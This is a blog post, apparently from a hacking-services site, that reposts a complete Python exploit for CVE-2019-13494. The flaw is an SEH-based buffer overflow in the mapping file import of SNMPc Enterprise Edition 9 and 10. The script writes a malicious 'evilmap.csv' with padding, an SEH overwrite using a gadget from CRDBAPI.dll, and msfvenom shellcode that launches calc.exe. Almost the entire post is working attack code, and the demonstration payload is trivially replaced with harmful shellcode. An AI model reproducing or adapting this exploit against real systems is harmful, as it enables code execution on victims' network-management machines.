Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102086

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python
# -*- coding: utf-8 -*-

#--------------------------------------------------------------------#
# Exploit: SNMPc Enterprise Edition (9 & 10) (Mapping File Name BOF) #   
# Date: 11 July 2019                                                 #
# Exploit Author: @xerubus | mogozobo.com                            #
# Vendor Homepage: https://www.castlerock.com/                       #
# Software Linke: https://www.castlerock.com/products/snmpc/         #
# Version: Enterprise Editioin 9 & 10                                #
# Tested on:  Windows 7                                              # 
# CVE-ID: CVE-2019-13494                                             #
# Full write-up: https://www.mogozobo.com/?p=3534                    #
#--------------------------------------------------------------------#
import sys, os  
os.system('clear')

print("""\
        _  _
  ___ (~ )( ~)
 /   \_\ \/ /   
|   D_ ]\ \/  -= SNMPc_Mapping_BOF by @xerubus =-    
|   D _]/\ \  -= We all have something to hide =-
 \___/ / /\ \\
      (_ )( _)
      @Xerubus    
                    """)

filename="evilmap.csv"
junk = "A" * 2064    
nseh = "\xeb\x07\x90\x90"      # short jmp to 0018f58d  \xeb\x07\x90\x90
seh = "\x05\x3c\x0e\x10"       # 0x100e3c05 ; pop esi # pop edi # ret (C:\program files (x86)\snmpc network manager\CRDBAPI.dll)

# Pre-padding of mapping file.  Note mandatory trailing character return.
pre_padding = ( 
"Name,Type,Address,ObjectID,Description,ID,Group1,Group2,Icon,Bitmap,Bitmap Scale,Shape/Thickness,Parent,Coordinates,Linked Nodes,Show Label,API Exec,MAC,Polling Agent,Poll Interval,Poll Timeout,Poll Retries,Status Variable,Status Value,Status Expression,Services,Status,Get Community,Set Community,Trap Community,Read Access Mode,Read/Write Access Mode,V3 NoAuth User,V3 Auth User,V3 Auth Password,V3 Priv Password"
"\"Root Subnet\",\"Subnet\",\"\",\"\",\"\",\"2\",\"000=Unknown\",\"\",\"auto.ico\",\"\",\"2\",\"Square\",\"(NULL)\",\"(0,0)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"0\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n"
"\"")

# Post-padding of mapping file.  Note mandatory trailing character return.
post_padding = ( 
"\",\"Device\",\"127.0.0.1\",\"1.3.6.1.4.1.29671.2.107\",\"\",\"3\",\"000=Unknown\",\"000=Unknown\",\"auto.ico\",\"\",\"2\",\"Square\",\"Root Subnet(2)\",\"(-16,-64)\",\"N/A\",\"True\",\"auto.exe\",\"00 00 00 00 00 00\",\"127.0.0.1\",\"30\",\"2\",\"2\",\"\",\"0\",\"=\",\"\",\"Normal-Green\",\"public\",\"netman\",\"public\",\"SNMP V1\",\"SNMP V1\",\"\",\"\",\"\",\"\"\n")

# msfvenom —platform windows -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d" -f c
shellcode = (
"\xda\xcc\xd9\x74\x24\xf4\xba\xd9\xa1\x94\x48\x5f\x2b\xc9\xb1"
"\x31\x31\x57\x18\x83\xc7\x04\x03\x57\xcd\x43\x61\xb4\x05\x01"
"\x8a\x45\xd5\x66\x02\xa0\xe4\xa6\x70\xa0\x56\x17\xf2\xe4\x5a"
"\xdc\x56\x1d\xe9\x90\x7e\x12\x5a\x1e\x59\x1d\x5b\x33\x99\x3c"
"\xdf\x4e\xce\x9e\xde\x80\x03\xde\x27\xfc\xee\xb2\xf0\x8a\x5d"
"\x23\x75\xc6\x5d\xc8\xc5\xc6\xe5\x2d\x9d\xe9\xc4\xe3\x96\xb3"
"\xc6\x02\x7b\xc8\x4e\x1d\x98\xf5\x19\x96\x6a\x81\x9b\x7e\xa3"
"\x6a\x37\xbf\x0c\x99\x49\x87\xaa\x42\x3c\xf1\xc9\xff\x47\xc6"
"\xb0\xdb\xc2\xdd\x12\xaf\x75\x3a\xa3\x7c\xe3\xc9\xaf\xc9\x67"
"\x95\xb3\xcc\xa4\xad\xcf\x45\x4b\x62\x46\x1d\x68\xa6\x03\xc5"
"\x11\xff\xe9\xa8\x2e\x1f\x52\x14\x8b\x6b\x7e\x41\xa6\x31\x14"
"\x94\x34\x4c\x5a\x96\x46\x4f\xca\xff\x77\xc4\x85\x78\x88\x0f"
"\xe2\x77\xc2\x12\x42\x10\x8b\xc6\xd7\x7d\x2c\x3d\x1b\x78\xaf"
"\xb4\xe3\x7f\xaf\xbc\xe6\xc4\x77\x2c\x9a\x55\x12\x52\x09\x55"
"\x37\x31\xcc\xc5\xdb\x98\x6b\x6e\x79\xe5")


print "[+] Building payload.."
payload = "\x90" * 10 + shellcode
print "[+] Creating buffer.."
buffer = pre_padding + junk + nseh + seh + payload + "\x90" * 10 + post_padding
print "[+] Writing evil mapping file.."
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
print "[+] Done.  Import evilmap.csv into SNMPc and A Wild Calc Appears!\n\n"